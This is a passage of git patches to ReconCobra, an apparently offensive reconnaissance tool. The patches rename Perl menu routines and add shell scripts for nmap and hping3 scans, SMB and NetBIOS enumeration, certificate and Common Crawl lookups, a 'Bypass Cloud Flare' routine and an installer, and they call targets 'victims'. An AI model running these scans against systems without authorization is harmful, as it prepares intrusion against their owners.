@@ -1,4 +1,4 @@ #!/bin/bash echo "Enter Target" read Target -nmap -F $Target \ No newline at end of file +nmap -iL $Target \ No newline at end of file From e8deb58af05b594d207f3cd69a918e8e8931a6df Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 00:17:54 +0500 Subject: [PATCH 051/272] Update ReconCobra.pl --- ReconCobra.pl | 185 ++++++++++++++++++++++++++++---------------------- 1 file changed, 105 insertions(+), 80 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index f3ca6ca..71d8d7d 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -692,7 +692,7 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('48'),"DNS History";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('49'),"Passive DNS Search";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('50'),"Use Common Crawl on Target";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('51'),"Cached View Target";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('51'),"Hostname to IP Resolver using Search Engines";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('52'),"Reverse NS Lookup";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('53'),"Forward NS Lookup";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('54'),"Win - Extract Netbios Information";print color('bold cyan')," # \n"; @@ -939,7 +939,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($snb=); + #chomp($snb=); print "\n"; Sweepandnetblock(); enter(); @@ -957,7 +957,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($enames=); + #chomp($enames=); print "\n"; Findemailsandnames(); enter(); @@ -966,7 +966,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($findci=); + #chomp($findci=); print "\n"; Findcontactinformation(); enter(); @@ -975,7 +975,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($cpscan=); + #chomp($cpscan=); print "\n"; Commonnmapportscan(); enter(); @@ -984,7 +984,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($phin=); + #chomp($phin=); Pinghopandinternalnetworks(); enter(); }if($number eq '32'){ @@ -1001,7 +1001,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($dsgmd=); + #chomp($dsgmd=); print "\n"; Decoayscanandgeneratemetasploitdata(); enter(); @@ -1019,7 +1019,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($euff=); + #chomp($euff=); print "\n"; Extractusersfromftp(); enter(); @@ -1028,7 +1028,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($eufp=); + #chomp($eufp=); print "\n"; Extractusersfrompop3(); enter(); @@ -1037,7 +1037,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($eufi=); + #chomp($eufi=); print "\n"; Extractusersfromimap(); enter(); @@ -1048,14 +1048,14 @@ sub menu { print color('bold white'); chomp($eufs=); print "\n"; - Extractusersfromsmtp(); + #Extractusersfromsmtp(); enter(); }if($number eq '39'){ banner(); print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($euff=); + #chomp($euff=); print "\n"; Extractusersfromform(); enter(); @@ -1073,7 +1073,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($eifc=); + #chomp($eifc=); print "\n"; Extractpossibleinformationfromcertificaties(); enter(); @@ -1082,7 +1082,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($fchsld=); + #chomp($fchsld=); print "\n"; Findvictimhttpsleakeddata(); enter(); @@ -1100,7 +1100,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($fdfr=); + #chomp($fdfr=); print "\n"; Finddirectoriesfromrobots(); enter(); @@ -1118,7 +1118,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($fafes=); + #chomp($fafes=); print "\n"; Findallaccountsfromemail(); enter(); @@ -1127,7 +1127,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($cloud=); + #chomp($cloud=); print "\n"; Findalltagsfromaccount(); enter(); @@ -1154,7 +1154,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($pasds=); + #chomp($pasds=); print "\n"; Usecommoncrawlontarget(); enter(); @@ -1163,7 +1163,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($cvt=); + #chomp($cvt=); print "\n"; hostnametoip(); enter(); @@ -1217,7 +1217,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($wtn=); + #chomp($wtn=); print "\n"; Winctonetbios(); enter(); @@ -1974,7 +1974,7 @@ sub nearestvictim { #--------------------------------------------------------------# #26 Sweep Netblocks and Resolve # #--------------------------------------------------------------# -sub Sweepnetblocksandresolve { +sub Sweepandnetblock() { if (system("./resolve.sh") == 0) { print "success!\n"; } @@ -1988,7 +1988,7 @@ sub Sweepnetblocksandresolve { #27 Load DNS Hacking Suite Panthera # #--------------------------------------------------------------# sub Panthera { -print item(), "Enter the Panthera Perl Script to Load: "; +print item(), "Enter the Panthera Perl Script with path to Load: "; $file=; if (system("perl $file") == 0) { print "success!\n"; @@ -2003,7 +2003,7 @@ sub Panthera { #--------------------------------------------------------------# #28 Find Emails and Names # #--------------------------------------------------------------# -sub Emails { +sub Findemailsandnames { if (system("./email.sh") == 0) { print "success!\n"; } @@ -2017,7 +2017,7 @@ sub Emails { #--------------------------------------------------------------# #29 Find Contact Information # #--------------------------------------------------------------# -sub Emails { +sub Findcontactinformation { if (system("./theharvester.sh") == 0) { print "success!\n"; } @@ -2030,12 +2030,12 @@ sub Emails { #--------------------------------------------------------------# #30 Common Nmap Port Scan # #--------------------------------------------------------------# -sub Nmapcommonscan { -if (system("./theharvester.sh") == 0) { +sub Commonnmapportscan { +if (system("./nmapcommonscan.sh") == 0) { print "success!\n"; } else { - print "[~] Did you forget to install the harvester\n[~] Command failed\n"; + print "[~] Did you forget the make input.txt from nmap \n[~] Command failed\n"; } } @@ -2043,24 +2043,26 @@ sub Nmapcommonscan { #--------------------------------------------------------------# #31 Ping Hop and Firewalk # #--------------------------------------------------------------# -sub Firewalk { +sub Pinghopandinternalnetworks { +print "\n",item(),"Peform three types of Firewalk scan"; +print "\n",item(),"Results will be saved in Firewalk_results\n"; if (system("./firewalka.sh") == 0) { - print "success!\n"; + print item(),"success!\n"; } else { - print "[~] Install Hping3\n[~] Command failed\n"; + print item(),"Command failed\n"; } if (system("./firewalkb.sh") == 0) { - print "success!\n"; + print item(),"success!\n"; } else { - print "[~] Install Hping3\n[~] Command failed\n"; + print item(),"Command failed\n"; } if (system("./firewalkc.sh") == 0) { - print "success!\n"; + print item(),"Command failed\n"; } else { - print "[~] Install Hping3\n[~] Command failed\n"; + print item(),"Command failed\n"; } @@ -2097,12 +2099,13 @@ sub Findinternalnetworkssandsweep { #--------------------------------------------------------------# #33 Decoy Scan & Generate Metasploit Data # #--------------------------------------------------------------# -sub Decayscangeneratemetasploitdata { +sub Decoayscanandgeneratemetasploitdata { if (system("./resolve.sh") == 0) { - print "success!\n"; + print "\n",item(),"success!\n"; } else { - print "[~] Make resolve.sh in same folder\n[~] Command failed\n"; + print "\n",item(),"Make resolve.sh in same folder\n"; + print "\n",item(),"Command failed\n"; } } @@ -2136,7 +2139,8 @@ sub Findsslbugsandinformation { print "success!\n"; } else { - print "[~] Make ssl.sh available in same folder\n[~] Command failed\n"; + print "\n",item(),"Make ssl.sh in same folder\n"; + print "\n",item(),"Command failed\n"; } } @@ -2162,8 +2166,8 @@ sub Extractusersfrompop3 { print "success!\n"; } else { - print "[~] Make pop3.sh available in same folder\n[~] Command failed\n"; - } + print "\n",item(),"Make pop3.sh in same folder\n"; + print "\n",item(),"Command failed\n"; } } @@ -2175,7 +2179,8 @@ sub Extractusersfromimap { print "success!\n"; } else { - print "[~] Make ftp.sh available in same folder\n[~] Command failed\n"; + print "\n",item(),"Make pop3.sh in same folder\n"; + print "\n",item(),"Command failed\n"; } } @@ -2495,7 +2500,9 @@ sub Usecommoncrawlontarget { print "success!\n"; } else { - print "[~] Make common.sh available in same folder\n[~] Command failed\n"; + print item(), "Make common.sh available in same folder\n"; + print item(), "Command failed\n"; + } } @@ -2503,11 +2510,16 @@ sub Usecommoncrawlontarget { #51 Google hostname to ip # #--------------------------------------------------------------# sub hostnametoip { + print item(), "Resolve results will save in ShaheenX folder\n"; + print item(), "Look for required provider with hostnametoip.txt format\n"; + print item(), "Loading\n"; + sleep(7); if (system("./hostnametoip.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { - print "[~] Make hostnametoip.sh available in same folder\n[~] Command failed\n"; + print item(), "Make hostnametoip.sh available in same folder\n"; + print item(), "Command failed\n"; } } @@ -2581,17 +2593,17 @@ sub Wineni { /; if (system("nbtscan $wineni") == 0) { - print "success!\n"; + print item(),"success!\n"; } else { - print "[~] Command failed\n"; + print item(),"Command failed\n"; } if (system("nmblookup -A $wineni") == 0) { - print "success!\n"; + print item(),"success!\n"; } else { - print "[~] Command failed\n"; + print item(),"Command failed\n"; } } @@ -2616,18 +2628,18 @@ sub Wingensipc { /; if (system("./smbclient1.sh") == 0) { - print "success!\n"; + print item(),"success!\n"; } else { - print "[~] Command failed\n"; + print item(),"Command failed\n"; } if (system("./enumdom.sh") == 0) { - print "success!\n"; - print "Write down hexadecimals then query, e.g., queryuser 0x3e8!\n"; + print item(),"success!\n"; + print item(),"Write down hexadecimals then query, e.g., queryuser 0x3e8!\n"; } else { - print "[~] Command failed\n"; + print item(),"Command failed\n"; } } @@ -2638,17 +2650,17 @@ sub Wingensipc { #--------------------------------------------------------------# sub Wingfivnetbios { if (system("./smbvul.sh") == 0) { - print "success!\n"; + print item(),"success!\n"; } else { print "[~] Command failed\n"; } if (system("enum4linux -a $wfn") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { - print "[~] Command failed\n"; + print item(),"Command failed\n"; } } @@ -2659,16 +2671,16 @@ sub Wingfivnetbios { #--------------------------------------------------------------# sub Winctonetbios { if (system("./smbclient.sh") == 0) { - print "success!\n"; + print item(),"success!\n"; } else { - print "[~] Command failed\n"; + print item(),"Command failed\n"; } if (system("./smbclient2.sh ") == 0) { - print "success!\n"; + print item(),"success!\n"; } else { - print "[~] Command failed\n"; + print item(),"Command failed\n"; } } @@ -2685,7 +2697,7 @@ sub Ips { print "success!\n"; } else { - print "[~] Command failed\n"; + print item(),"Command failed\n"; } } @@ -2693,7 +2705,7 @@ sub Ips { #--------------------------------------------------------------# #59 Bypass Cloud Flare # #--------------------------------------------------------------# -sub CloudFlare { +sub Bypasscloudflare { my $ua = LWP::UserAgent->new; $ua = LWP::UserAgent->new(keep_alive => 1); $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31"); @@ -2866,7 +2878,8 @@ sub MDSSE { print "success!\n"; } else { - print "[~] Make mdsse.sh available in same folder\n[~] Command failed\n"; + print item(),"Make mdsse.sh available in same folder\n"; + print item(),"Command failed\n"; } } if ($enter =~2) { @@ -2874,7 +2887,9 @@ sub MDSSE { print "success!\n"; } else { - print "[~] Make nmapasnlookup.sh available in same folder\n[~] Command failed\n"; + print item(),"Make nmapasnlookup.sh available in same folder\n"; + print item(),"Command failed\n"; + } } } @@ -2892,36 +2907,42 @@ () chomp($enter=); if ($enter =~1) { if (system("./crtstart.sh") == 0) { - print "success! Find results at crt folder\n"; + print item(),"success! Find results at crt folder\n"; } else { - print "[~] Make crtstart.sh available in same folder\n[~] Command failed\n"; + print item(),"Make crtstart.sh available in same folder\n"; + print item(),"Command failed\n"; + } } if ($enter =~2) { if (system("./googlegct.sh") == 0) { - print "success! Find results at crt folder\n"; + print item(),"success! Find results at crt folder\n"; } else { - print "[~] Make googlegct.sh available in same folder\n[~] Command failed\n"; + print item(),"Make googlegct.sh available in same folder\n"; + print item(),"Command failed\n"; + } } if ($enter =~3) { if (system("./certspot.sh") == 0) { - print "success! Find results at crt folder\n"; + print item(),"success! Find results at crt folder\n"; } else { - print "[~] Make certspot.sh available in same folder\n[~] Command failed\n"; + print item(),"Make certspot.sh available in same folder\n"; + print item(),"Command failed\n"; + } } if ($enter =~4) { if (system("./entrust.sh") == 0) { - print "success! Find results at crt folder\n"; + print item(),"success! Find results at crt folder\n"; } else { - print "[~] Make entrust.sh available in same folder\n[~] Command failed\n"; + print item(),"Make entrust.sh available in same folder\n[~] Command failed\n"; } } @@ -2939,26 +2960,26 @@ () chomp($enter=); if ($enter =~1) { if (system("./vasl.sh") == 0) { - print "success!\n"; + print item(),"success!\n"; } else { - print "[~] Make vasl.sh available in same folder\n[~] Command failed\n"; + print item(),"Make vasl.sh available in same folder\n[~] Command failed\n"; } } if ($enter =~2) { if (system("./censys.sh") == 0) { - print "success!\n"; + print item(),"success!\n"; } else { - print "[~] Make censys.sh available in same folder\n[~] Command failed\n"; + print item(),"Make censys.sh available in same folder\n[~] Command failed\n"; } } if ($enter =~3) { if (system("./virustotal.sh") == 0) { - print "success!\n"; + print item(),"success!\n"; } else { - print "[~] Make censys.sh available in same folder\n[~] Command failed\n"; + print item(),"Make censys.sh available in same folder\n[~] Command failed\n"; } } } @@ -2968,11 +2989,15 @@ () #66 Find Cname Information of netblock # #--------------------------------------------------------------# sub Cname() { + print item(),"Enter desired subnet/ip/net-block or cidr for cname information\n"; + print item(),"Loading\n"; + sleep(5); if (system("./cname.sh") == 0) { - print "success!\n"; + print item(),"success!\n"; } else { - print "[~] Make cname.sh available in same folder\n[~] Command failed\n"; + print item(),"Make cname.sh available in same folder\n"; + print item(),"Command failed\n"; } } From f7342d57f7843fc6e07a07a2622b47e13b7c88ee Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 00:22:22 +0500 Subject: [PATCH 052/272] Add files via upload --- ShaheenX.sh | 3 + bile.sh | 2 +- cc.sh | 45 +++++++++++++ cob_b.sh | 2 +- cobb.sh | 2 +- common.sh | 17 ++--- common_crawl_download.sh | 7 ++ common_crawl_reverse.sh | 10 +++ copyinstaller.sh | 133 ++++++++++++++++++++++++++++++++++++ dnsbrute.sh | 3 + firewalka.sh | 2 +- firewalkb.sh | 2 +- firewalkc.sh | 2 +- hostnametoip.sh | 10 ++- installerbackup.sh | 142 +++++++++++++++++++++++++++++++++++++++ inteli.sh | 10 +-- maahro.sh | 3 + passive.sh | 6 -- screenshot.sh | 2 +- shaheenx.sh | 3 + sitemap.sh | 10 +-- sss.sh | 9 +-- 22 files changed, 379 insertions(+), 46 deletions(-) create mode 100644 ShaheenX.sh create mode 100644 cc.sh create mode 100644 common_crawl_download.sh create mode 100644 common_crawl_reverse.sh create mode 100644 copyinstaller.sh create mode 100644 dnsbrute.sh create mode 100644 installerbackup.sh create mode 100644 maahro.sh create mode 100644 shaheenx.sh diff --git a/ShaheenX.sh b/ShaheenX.sh new file mode 100644 index 0000000..96f74d1 --- /dev/null +++ b/ShaheenX.sh @@ -0,0 +1,3 @@ +#!/bin/bash +cd ShaheenX +perl ShaheenX.pl \ No newline at end of file diff --git a/bile.sh b/bile.sh index bbb0f20..afe211b 100644 --- a/bile.sh +++ b/bile.sh @@ -4,4 +4,4 @@ echo "Enter Target" read Target perl BiLE.pl $Target out.txt perl BiLE-weigh.pl sp_bile_out.txt.mine out.txt -cd .. +cd .. \ No newline at end of file diff --git a/cc.sh b/cc.sh new file mode 100644 index 0000000..27d25e3 --- /dev/null +++ b/cc.sh @@ -0,0 +1,45 @@ +#!/bin/bash +# +# Author: Tyler Wrightson +# Updated: Haroon Awan +# Date: June/8/2019 + +TARGET="$1" +DIR="$PWD/crt" + +if [ -z $TARGET ]; then + echo -e "Usage: cc.sh URL" + exit +fi + +echo -e "[ + ] Creating directory $DIR" +mkdir $DIR +echo -e "[ + ] Downloading from http://urlsearch.commoncrawl.org" +TARGET=${TARGET// /+} +echo -e "[ + ] url: http://urlsearch.commoncrawl.org/?q=$TARGET" +curl -s http://urlsearch.commoncrawl.org/?q=$TARGET > $DIR/curl.txt +echo -e "[ + ] Saving Certificate IDs to $DIR/crt.ids" +cat $DIR/curl.txt | grep ?q= | cut -d \" -f5 | cut -d '<' -f1 | cut -d '>' -f2 >> $DIR/crt.ids + +TOTAL=`wc -l $DIR/crt.ids` +echo -e "[ + ] Total Number of Common Crawls: $TOTAL" +cat $DIR/crt.ids| while read line +do + echo "[ + ] Downloading Common Crawl IDs: $line" + curl -s http://urlsearch.commoncrawl.org/?q=$line > $DIR/$line.txt +done + +# Note that the (.*?) makes the search 'ungreedy' - which matches +# only the first occurence of the
right after our search string +cat $DIR/* | grep -oP '(DNS)(.*?)(
)' | cut -d ":" -f2 | cut -d "<" -f1 | sort -u >> $DIR/domains.txt + +echo -e "[ + ] Domains saved to: $DIR/domains.txt" +echo -e "[ + ] Fixing and tweaking domains.txt +cd crt +sed -ie 's/*.//g' domains.txt +cp domains.txt domains.list +rm *.txt +rm *.txte +rm *.ids +cd .. +echo -e "[ + ] Done" \ No newline at end of file diff --git a/cob_b.sh b/cob_b.sh index 3820f63..e6ae631 100644 --- a/cob_b.sh +++ b/cob_b.sh @@ -42,4 +42,4 @@ rm *.rtf rm *.tgz rm *.gz rm *.xz -cd .. +cd .. \ No newline at end of file diff --git a/cobb.sh b/cobb.sh index 58e19d9..fea1806 100644 --- a/cobb.sh +++ b/cobb.sh @@ -1,4 +1,4 @@ #!/bin/bash read -p "Enter victim url: " victim echo "$victim" -perl metacrawler.pl +perl metacrawler.pl \ No newline at end of file diff --git a/common.sh b/common.sh index 9a0838f..ac34708 100644 --- a/common.sh +++ b/common.sh @@ -1,12 +1,7 @@ #!/bin/bash -BROWSER="xdg-open" -VER="1.9" -OKBLUE='\033[94m' -OKRED='\033[91m' -OKGREEN='\033[92m' -OKORANGE='\033[93m' -DELAY=1 -RESET='\e[0m' - -# LOAD WEBSITE IN A WEB BROSER -$BROWSER "http://commoncrawl.org/2019/04/april-2019-crawl-archive-now-available/" 2> /dev/null \ No newline at end of file +mkdir common_crawl_results +cd common_crawl_results +echo -e "[ + ] URL Examples, com.google, pk.daraz " +echo -n "[ + ] Enter URL in reverse order only: " ; read Domain +curl http://urlsearch.commoncrawl.org/download?q=$Domain -o $Domain.list +cd .. \ No newline at end of file diff --git a/common_crawl_download.sh b/common_crawl_download.sh new file mode 100644 index 0000000..8e8ec5b --- /dev/null +++ b/common_crawl_download.sh @@ -0,0 +1,7 @@ +#!/bin/bash +mkdir common_crawl_results +cd common_crawl_results +echo -e "Enter URL in reverse order only: " +read Domain +curl -o http://urlsearch.commoncrawl.org/download?q=$Domain common_crawl_results +cd .. \ No newline at end of file diff --git a/common_crawl_reverse.sh b/common_crawl_reverse.sh new file mode 100644 index 0000000..eb6a655 --- /dev/null +++ b/common_crawl_reverse.sh @@ -0,0 +1,10 @@ +#!/bin/bash +input="${1}" reverse="" + +for (( i=0; i<${#input}; i++ )) +do reverse="${input:${i}:1}$reverse" +done +echo "$reverse" + + +#http://urlsearch.commoncrawl.org/download?q=com.google 2> /dev/null \ No newline at end of file diff --git a/copyinstaller.sh b/copyinstaller.sh new file mode 100644 index 0000000..31833fb --- /dev/null +++ b/copyinstaller.sh @@ -0,0 +1,133 @@ +# *************************************************************************************** # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# Agreement between "Haroon Awan" and "You"(user). # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# 1. By using this piece of software your bound to these point. # +# 2. This an End User License Agreement (EULA) is a legal between a software application # +# author "Haroon Awan" and (YOU) user of this software. # +# 3. This software application grants users rights to use for any purpose or modify and # +# redistribute creative works. # +# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # +# what you do with by/this software as your free to use this software. # +# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # +# crime or using it in un-authorized environment. # +# 6. You can use this software to protect and secure your data information in any # +# environment. # +# 7. It can also be used in state of being protection against the unauthorized use of # +# information. # +# 8. It can be used to take measures achieve protection. # +# *************************************************************************************** # + +#!/bin/bash + +red="\e[0;31m" +green="\e[0;32m" +off="\e[0m" + +function banner() { +clear +echo " "; +echo " "; +echo " "; +echo " .########...########..######.....#######...##....##.....######.....#######....######....########......########.. "; +echo " .##.....##..##.......##....##..##.....##..###...##....##....##...##.....##...##...##...##.....##....##.....##. "; +echo " .##.....##..##.......##........##.....##..####..##....##.........##.....##...##..##....##......##...##.....##. "; +echo " .########...######...##........##.....##..##.##.##....##.........##.....##...##..##....#########....#########. "; +echo " .##...##....##.......##........##.....##..##..####....##.........##.....##...##...##...##....##.....##.....##. "; +echo " .##....##...##.......##....##..##.....##..##...###....##....##...##.....##...##...###..##.....##....##.....##. "; +echo " .##.....##..########..######....#######...##....##.....######.....#######....#######...##......##...##.....##. "; +echo " Ultimate Recon and Foot Printing Software Version 1.0a "; +echo " [Coded By: Haroon Awan] "; +echo " [Contact: mrharoonawan@gmail.com] "; +echo " "; +echo " "; +echo " "; +} + +function linux() { +echo -e "$red [$green+$red]$off Installing Perl ..."; +sudo apt-get install -y perl +echo -e "$red [$green+$red]$off Installing JSON Module ..."; +cpan install JSON +echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; +echo "y" | cpan install WWW::Mechanize +echo "y" | cpan install use HTML::TokeParser +echo "y" | cpan install Term::ANSIColor +echo "y" | cpan install Mojo::DOM +echo "y" | cpan install Data::Dumper +echo "y" | cpan install Win32::Console::ANSI +echo "y" | cpan install HTML::TableExtract +echo -e "$red [$green+$red]$off Checking directories..." +if [ -d "/usr/share/ReconCobra" ]; then + echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; + read replace + if [ "$replace" = "y" ]; then + sudo rm -r "/usr/share/ReconCobra" + sudo rm "/usr/share/icons/ReconCobra.png" + sudo rm "/usr/share/applications/ReconCobra.desktop" + sudo rm "/usr/local/bin/ReconCobra" + +else +echo -e "$red [$green✘$red]$off If You Want To Install You Must Remove Previous Installations"; +echo -e "$red [$green✘$red]$off Installation Failed"; + exit + fi +fi + +echo -e "$red [$green+$red]$off Installing ..."; +echo -e "$red [$green+$red]$off Creating Symbolic Link ..."; +echo -e "#!/bin/bash +perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "reconcobra"; + chmod +x "reconcobra"; + sudo mkdir "/usr/share/ReconCobra" + sudo cp "install.sh" "/usr/share/ReconCobra" + sudo cp "reconcobra.pl" "/usr/share/ReconCobra" + sudo cp "config/ReconCobra.jpeg" "/usr/share/icons" + sudo cp "config/ReconCobra.desktop" "/usr/share/applications" + sudo cp "reconcobra" "/usr/local/bin/" + rm "reconcobra"; + +echo "y" | apt-get install xdg-utils +echo "y" | apt-get install hping3 +echo "y" | apt-get install python3 +echo "y" | git clone https://github.com/haroonawanofficial/cobra.git +echo "y" | git clone https://github.com/haroonawanofficial/maahro.git +echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git +echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git +echo "y" | git clone https://github.com/exiftool/exiftool.git +echo "y" | git clone https://github.com/sensepost/BiLE-suite.git +echo "y" | https://github.com/haroonawanofficial/vasl.git +echo "y" | git clone https://github.com/haroonawanofficial/panthera.git +echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git +echo "y" | apt-get install nmap +cd SearchEngineScrapy +pip install -r requirements.txt +sudo virtualenv --python="2" env +sudo env/bin/activate +cd .. +echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git +cd EyeWitness/setup +chmod u+x setup.sh +./setup.sh + + +if [ -d "/usr/share/ReconCobra" ] ; +then +echo -e "$red [$green+$red]$off ReconCobra Successfully Installed And Will Start In 5s!"; +echo -e "$red [$green+$red]$off You can execute ReconCobra by typing reconcobra" +sleep 5; +reconcobra +else +echo -e "$red [$green✘$red]$off ReconCobra Cannot Be Installed On Your System! Use It As Portable !"; + exit +fi +} + +if [ -d "/usr/bin/" ];then +banner +echo -e "$red [$green+$red]$off ReconCobra Will Be Installed In Your System"; +linux +else +echo -e "$red [$green✘$red]$off ReconCobra Cannot Be Installed On Your System! Use It As Portable !"; + exit +fi diff --git a/dnsbrute.sh b/dnsbrute.sh new file mode 100644 index 0000000..754927f --- /dev/null +++ b/dnsbrute.sh @@ -0,0 +1,3 @@ +#!/bin/bash +cd panthera +perl dnsbrute.pl \ No newline at end of file diff --git a/firewalka.sh b/firewalka.sh index c078160..0ba5bc2 100644 --- a/firewalka.sh +++ b/firewalka.sh @@ -1,4 +1,4 @@ #!/bin/bash echo "Enter Target" read Target -hping3 -S -c 1 -s 5151 -p 80 $Target \ No newline at end of file +hping3 -S -c 1 -s 5151 -p 80 $Target > Firewalk_results/$Target.lista \ No newline at end of file diff --git a/firewalkb.sh b/firewalkb.sh index 1914ed0..7ee0e4e 100644 --- a/firewalkb.sh +++ b/firewalkb.sh @@ -1,4 +1,4 @@ #!/bin/bash echo "Enter Target" read Target -hping3 -A -c 1 -s 5151 -p 80 $Target \ No newline at end of file +hping3 -A -c 1 -s 5151 -p 80 $Target > Firewalk_results/$Target.listb \ No newline at end of file diff --git a/firewalkc.sh b/firewalkc.sh index c490597..eba271d 100644 --- a/firewalkc.sh +++ b/firewalkc.sh @@ -1,4 +1,4 @@ #!/bin/bash echo "Enter Target" read Target -hping3 -2 -c 1 -s 5151 -p 80 $Target \ No newline at end of file +hping3 -2 -c 1 -s 5151 -p 80 $Target > Firewalk_results/$Target.listc \ No newline at end of file diff --git a/hostnametoip.sh b/hostnametoip.sh index 0ab95f3..fd9b677 100644 --- a/hostnametoip.sh +++ b/hostnametoip.sh @@ -1,4 +1,10 @@ #!/bin/bash +cd ShaheenX perl ShaheenX.pl -nmap -sn -oG status.txt -v -iL bingsubdomain.txt -nmap -sn -oG status.txt -v -iL googlesubdomain.txt +nmap -sn -oG status.txt -v -iL bingsubdomain.txt > bigsubdomain_hostnametoip.txt +nmap -sn -oG status.txt -v -iL robtexsubdomain.txt > robtexsubdomain_hostnametoip.txt +nmap -sn -oG status.txt -v -iL 51_subdomains.txt > 51_subdomains_hostnametoip.txt +nmap -sn -oG status.txt -v -iL asksubdomain.txt > asksubdomain_hostnametoip.txt +nmap -sn -oG status.txt -v -iL baidusubdomain.txt > baidusubdomain_hostnametoip.txt +nmap -sn -oG status.txt -v -iL netcraftsubdomain.txt > netcraftsubdomain_hostnametoip.txt +nmap -sn -oG status.txt -v -iL yahoosubdomain.txt > yahoosubdomain_hostnametoip.txt diff --git a/installerbackup.sh b/installerbackup.sh new file mode 100644 index 0000000..28fff4f --- /dev/null +++ b/installerbackup.sh @@ -0,0 +1,142 @@ +# *************************************************************************************** # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# Agreement between "Haroon Awan" and "You"(user). # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# 1. By using this piece of software your bound to these point. # +# 2. This an End User License Agreement (EULA) is a legal between a software application # +# author "Haroon Awan" and (YOU) user of this software. # +# 3. This software application grants users rights to use for any purpose or modify and # +# redistribute creative works. # +# 4. This software comes in "is-as" 